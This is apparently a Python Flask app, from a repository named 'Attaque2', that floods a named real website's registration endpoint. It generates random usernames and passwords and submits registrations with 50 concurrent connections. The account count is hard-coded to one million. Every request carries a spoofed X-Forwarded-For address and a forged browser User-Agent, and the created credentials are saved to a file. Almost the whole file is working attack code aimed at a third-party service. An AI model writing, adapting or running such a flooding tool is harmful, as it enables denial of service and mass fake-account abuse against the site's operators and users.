Attaque2 / app.py
Docfile's picture
Create app.py
687de48 verified
raw
history blame
9.29 kB
from flask import Flask, render_template, request, jsonify, redirect, url_for
import asyncio
import aiohttp
import os
import json
import random
import string
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor
from threading import Lock
app = Flask(__name__)
# Variables globales pour stocker l'état
creation_in_progress = False
accounts_being_created = []
progress_counter = 0
total_accounts = 0
accounts_lock = Lock()
event_loop = None
background_task = None
def create_random_username(length=8):
chars = string.ascii_lowercase + string.digits
return ''.join(random.choice(chars) for _ in range(length))
def create_random_password(length=10):
chars = string.ascii_letters + string.digits
return ''.join(random.choice(chars) for _ in range(length))
async def check_username_availability(session, username):
check_url = "https://gabaohub.alwaysdata.net/assets/functions.php"
data = {"ajaxCall": "isUsernameTaken", "u": username}
headers = {
"X-Forwarded-For": "41.158.0.1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Referer": "https://gabaohub.alwaysdata.net/register/"
}
async with session.post(check_url, data=data, headers=headers) as response:
result = await response.text()
return result == "0"
async def get_register_page(session):
url = "https://gabaohub.alwaysdata.net/register/"
headers = {
"X-Forwarded-For": "41.158.0.1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}
async with session.get(url, headers=headers) as response:
return await response.text()
async def register_account(session, account_info):
register_url = "https://gabaohub.alwaysdata.net/register/register.php"
headers = {
"X-Forwarded-For": "41.158.0.1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Referer": "https://gabaohub.alwaysdata.net/register/",
"Content-Type": "application/x-www-form-urlencoded"
}
await get_register_page(session)
async with session.post(register_url, data=account_info, headers=headers, allow_redirects=True) as response:
text = await response.text()
successful_urls = ["index.php", "dashboard.php", "home", "/"]
success = any(url in str(response.url) for url in successful_urls) or "success" in text.lower()
return response, success
async def create_single_account(session, account_index, semaphore):
global progress_counter, accounts_being_created
async with semaphore:
provinces_villes = {"1": ["1", "2", "3"], "2": ["7", "8"]}
try:
username = create_random_username(random.randint(6, 10))
retries = 0
available = False
# Retente la vérification sans délai excessif
while not available and retries < 3:
try:
available = await check_username_availability(session, username)
if not available:
username = create_random_username(random.randint(6, 10))
retries += 1
except Exception as e:
print(f"Erreur lors de la vérification du nom d'utilisateur: {str(e)}")
retries += 1
if not available:
with accounts_lock:
accounts_being_created[account_index].update({
"status": "failed",
"timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"error": "Nom d'utilisateur indisponible"
})
progress_counter += 1
return
password = create_random_password()
province = random.choice(list(provinces_villes.keys()))
ville = random.choice(provinces_villes[province])
account_info = {
"visitorCountry": "Gabon",
"username": username,
"password": password,
"password2": password,
"province": province,
"ville": ville
}
with accounts_lock:
accounts_being_created[account_index].update(account_info)
try:
response, success = await register_account(session, account_info)
with accounts_lock:
accounts_being_created[account_index].update({
"status": "success" if success else "failed",
"timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S")
})
if not success:
accounts_being_created[account_index]["error"] = "Échec de l'enregistrement"
progress_counter += 1
except Exception as e:
with accounts_lock:
accounts_being_created[account_index].update({
"status": "failed",
"timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"error": str(e)
})
progress_counter += 1
except Exception as e:
with accounts_lock:
accounts_being_created[account_index].update({
"status": "failed",
"timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"error": str(e)
})
progress_counter += 1
async def create_accounts_async(num_accounts, concurrency=50):
global creation_in_progress, accounts_being_created, progress_counter, total_accounts
progress_counter = 0
with accounts_lock:
accounts_being_created = [{"status": "pending"} for _ in range(num_accounts)]
# Augmenter la limite du connecteur selon la concurrence souhaitée
conn = aiohttp.TCPConnector(limit=concurrency, ssl=False)
timeout = aiohttp.ClientTimeout(total=30)
semaphore = asyncio.Semaphore(concurrency)
try:
async with aiohttp.ClientSession(connector=conn, timeout=timeout) as session:
tasks = [
create_single_account(session, i, semaphore)
for i in range(num_accounts)
]
await asyncio.gather(*tasks, return_exceptions=True)
except Exception as e:
print(f"Erreur principale pendant la création des comptes: {str(e)}")
finally:
with open("comptes_gabaohub.json", "w", encoding="utf-8") as f:
json.dump(accounts_being_created, f, indent=4, ensure_ascii=False)
creation_in_progress = False
def start_background_task(num_accounts, concurrency=50):
global event_loop, background_task, creation_in_progress, total_accounts
creation_in_progress = True
total_accounts = num_accounts
def run_async_loop():
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
global event_loop
event_loop = loop
try:
loop.run_until_complete(create_accounts_async(num_accounts, concurrency))
finally:
loop.close()
executor = ThreadPoolExecutor(max_workers=1)
background_task = executor.submit(run_async_loop)
@app.route('/')
def index():
accounts_data = []
if os.path.exists("comptes_gabaohub.json"):
try:
with open("comptes_gabaohub.json", "r", encoding="utf-8") as f:
accounts_data = json.load(f)
except json.JSONDecodeError:
accounts_data = []
return render_template('index.html',
creation_in_progress=creation_in_progress,
accounts=accounts_data,
progress=progress_counter,
total=total_accounts)
@app.route('/start', methods=['POST'])
def start_creation():
global creation_in_progress
if not creation_in_progress:
# Récupère les paramètres ou forcez des valeurs pour tester de grosses requêtes
num_accounts = int(request.form.get('num_accounts', 5))
concurrency = int(request.form.get('concurrency', 5))
num_accounts = 1000000 # Pour tester une charge très importante
concurrency = 50
start_background_task(num_accounts, concurrency)
return redirect(url_for('index'))
@app.route('/progress')
def get_progress():
return jsonify({
'creation_in_progress': creation_in_progress,
'progress': progress_counter,
'total': total_accounts,
'accounts': accounts_being_created
})
@app.route('/reset', methods=['POST'])
def reset():
global creation_in_progress, accounts_being_created, progress_counter, total_accounts
if not creation_in_progress:
with accounts_lock:
accounts_being_created = []
progress_counter = 0
total_accounts = 0
if os.path.exists("comptes_gabaohub.json"):
os.remove("comptes_gabaohub.json")
return redirect(url_for('index'))
if __name__ == '__main__':
if not os.path.exists("comptes_gabaohub.json"):
with open("comptes_gabaohub.json", "w", encoding="utf-8") as f:
json.dump([], f)
app.run(debug=True, threaded=True)